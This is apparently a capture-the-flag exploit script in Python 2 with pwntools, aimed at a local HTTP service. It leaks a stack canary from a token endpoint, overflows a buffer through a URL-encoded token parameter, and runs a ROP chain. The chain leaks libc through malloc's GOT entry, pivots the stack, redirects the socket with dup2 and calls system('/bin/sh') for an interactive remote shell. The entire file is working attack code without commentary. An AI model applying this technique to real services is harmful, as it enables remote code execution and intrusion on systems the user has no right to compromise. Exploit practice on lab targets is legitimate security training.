import requests
import zlib
import json
import socket
import pwn
from struct import pack, unpack

IP = '127.0.0.1'
PORT = 1337


def url_encode(data):
    res = ''
    for c in data:
        res += '%%%02x' % ord(c)
    return res


def dec_token(token):
    token = token.decode('hex')
    off = len(token) / 2
    res = token[:off]
    for i in xrange(off):
        res += chr(ord(token[i]) ^ ord(token[i + off]))
    return res.encode('hex')


def leak_canary(s, ip, port):
    token = None
    url = 'http://%s:%s/api/token' % (ip, port)

    while True:
        res = s.get(url)
        json = res.json()
        new_token = json.get('token')
        if new_token is None or token is None:
            token = new_token
            continue

        new_token = dec_token(new_token)

        if token[-16:] == new_token[-16:]:
            return unpack('<Q', token[-16:].decode('hex'))[0]

        token = new_token


def get_gadget(rop, insts):
    gadget = rop.find_gadget(insts)
    assert(gadget is not None)
    return gadget.address


s = requests.Session()

canary = leak_canary(s, IP, PORT)

s.close()

print 'canary: 0x%x' % canary

url = 'http://%s:%s/api/list?token=' % (IP, PORT)

binary = pwn.ELF('./build/pwn')
binary_rop = pwn.ROP(binary)

libc = pwn.ELF('/lib/x86_64-linux-gnu/libc.so.6')
bin_sh_offset = next(libc.search('/bin/sh\x00'))

pop_rdi      = get_gadget(binary_rop, ['pop rdi', 'ret'])
pop_rsi      = get_gadget(binary_rop, ['pop rsi', 'ret'])
pop_rdx_rbx  = get_gadget(binary_rop, ['pop rdx', 'pop rbx', 'ret'])
pop_rsp      = get_gadget(binary_rop, ['pop rsp', 'ret'])

read  = binary.plt['read']
write = binary.plt['write']
fcntl = binary.plt['fcntl']

malloc_got    = binary.got['malloc']
malloc_offset = libc.symbols['malloc']
system_offset = libc.symbols['system']
dup2_offset   = libc.symbols['dup2']

new_stack = 0x66f000 + 0x1000

fd = 11

payload = \
    'A' * (520) + \
    pack('<Q', canary) + \
    'A'*0x38

# leak read address
payload += \
    pack('<Q', pop_rdi) + \
    pack('<Q', fd) + \
    pack('<Q', pop_rsi) + \
    pack('<Q', malloc_got) + \
    pack('<Q', pop_rdx_rbx) + \
    pack('<Q', 8) + \
    pack('<Q', 0xAABBCCDDAABBCCDD) + \
    pack('<Q', write)

'''
#define F_DUPFD         0       /* Duplicate file descriptor.  */
#define F_GETFD         1       /* Get file descriptor flags.  */
#define F_SETFD         2       /* Set file descriptor flags.  */
#define F_GETFL         3       /* Get file status flags.  */
#define F_SETFL         4       /* Set file status flags.  */

# define O_NONBLOCK   04000
#define O_RDWR           02
'''

# make fd non-blocking
payload += \
    pack('<Q', pop_rdi) + \
    pack('<Q', fd) + \
    pack('<Q', pop_rsi) + \
    pack('<Q', 4) + \
    pack('<Q', pop_rdx_rbx) + \
    pack('<Q', 02) + \
    pack('<Q', 0xAABBCCDDAABBCCDD) + \
    pack('<Q', fcntl)

# write new rop chain
payload += \
    pack('<Q', pop_rdi) + \
    pack('<Q', fd) + \
    pack('<Q', pop_rsi) + \
    pack('<Q', new_stack) + \
    pack('<Q', pop_rdx_rbx) + \
    pack('<Q', 18 * 8) + \
    pack('<Q', 0xAABBCCDDAABBCCDD) + \
    pack('<Q', read)

# pivot stack
payload += \
    pack('<Q', pop_rsp) + \
    pack('<Q', new_stack)

req = 'GET /api/list?token=%s HTTP/1.1\r\n\r\n'

req = req % url_encode(payload)

s = pwn.remote(IP, PORT)

s.send(req)

malloc_addr = unpack('<Q', s.recv(8))[0]
libc_base = malloc_addr - malloc_offset

system_addr = libc_base + system_offset
dup2_addr   = libc_base + dup2_offset
bin_sh_addr = libc_base + bin_sh_offset

print 'libc base: 0x%x' % libc_base
print 'system:    0x%x' % system_addr
print 'dup2:      0x%x' % dup2_addr
print '/bin/sh:   0x%x' % bin_sh_addr

rop = \
    pack('<Q', pop_rdi) + \
    pack('<Q', fd) + \
    pack('<Q', pop_rsi) + \
    pack('<Q', 0) + \
    pack('<Q', dup2_addr) + \
    pack('<Q', pop_rdi) + \
    pack('<Q', fd) + \
    pack('<Q', pop_rsi) + \
    pack('<Q', 1) + \
    pack('<Q', dup2_addr) + \
    pack('<Q', pop_rdi) + \
    pack('<Q', fd) + \
    pack('<Q', pop_rsi) + \
    pack('<Q', 2) + \
    pack('<Q', dup2_addr) + \
    pack('<Q', pop_rdi) + \
    pack('<Q', bin_sh_addr) + \
    pack('<Q', system_addr)

s.send(rop)

s.interactive()

s.close()